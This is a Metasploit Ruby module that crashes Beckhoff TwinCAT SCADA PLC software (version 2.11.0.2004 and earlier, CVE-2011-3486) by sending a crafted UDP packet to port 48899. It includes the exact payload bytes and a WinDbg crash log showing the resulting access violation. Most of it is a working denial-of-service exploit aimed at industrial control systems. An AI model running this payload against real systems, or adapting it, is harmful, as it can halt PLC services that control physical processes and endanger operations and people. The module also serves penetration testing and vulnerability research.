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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Udp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Beckhoff TwinCAT SCADA PLC 2.11.0.2004 DoS',
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      'Description'    => %q{
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        The Beckhoff TwinCAT version <= 2.11.0.2004 can be brought down by sending
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        a crafted UDP packet to port 48899 (TCATSysSrv.exe).
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      },
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      'Author'         =>
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        [
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          'Luigi Auriemma', # Public exploit
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          'jfa',            # Metasploit module
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2011-3486' ],
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          [ 'OSVDB', '75495' ],
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          [ 'URL', 'http://aluigi.altervista.org/adv/twincat_1-adv.txt' ]
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        ],
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      'DisclosureDate' => '2011-09-13'
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    ))
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    register_options([Opt::RPORT(48899)])
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  end
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  def run
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    dos = "\x03\x66\x14\x71" + "\x00"*16 + "\xff"*1514
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    connect_udp
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    print_status("Sending DoS packet ...")
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    udp_sock.put(dos)
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    disconnect_udp
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  end
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end
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=begin
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0:017> g
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(4d4.850): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=02a1f9cf ebx=0037c0a8 ecx=02a0f9cc edx=ffffffff esi=02a0f9b4 edi=00000001
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eip=00414f6a esp=02a0f7bc ebp=0000ffff iopl=0         nv up ei pl nz ac po cy
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cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010213
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*** ERROR: Module load completed but symbols could not be loaded for C:\TwinCAT\TCATSysSrv.exe
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TCATSysSrv+0x14f6a:
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00414f6a 66833802        cmp     word ptr [eax],2         ds:0023:02a1f9cf=????
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0:016> k
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ChildEBP RetAddr
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WARNING: Stack unwind information not available. Following frames may be wrong.
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02a0f7f8 71ab265b TCATSysSrv+0x14f6a
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02a0f80c 71ab4a9e WS2_32!Prolog_v1+0x21
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02a0f834 7c90df3c WS2_32!WPUQueryBlockingCallback+0x1b
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02a0f880 71a5332f ntdll!NtWaitForSingleObject+0xc
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02a0f8f4 71abf6e7 mswsock!WSPRecvFrom+0x35c
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02a0f938 71ad303a WS2_32!WSARecvFrom+0x7d
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02a0f96c 00414b92 WSOCK32!recvfrom+0x39
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02a0f988 00000000 TCATSysSrv+0x14b92
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=end
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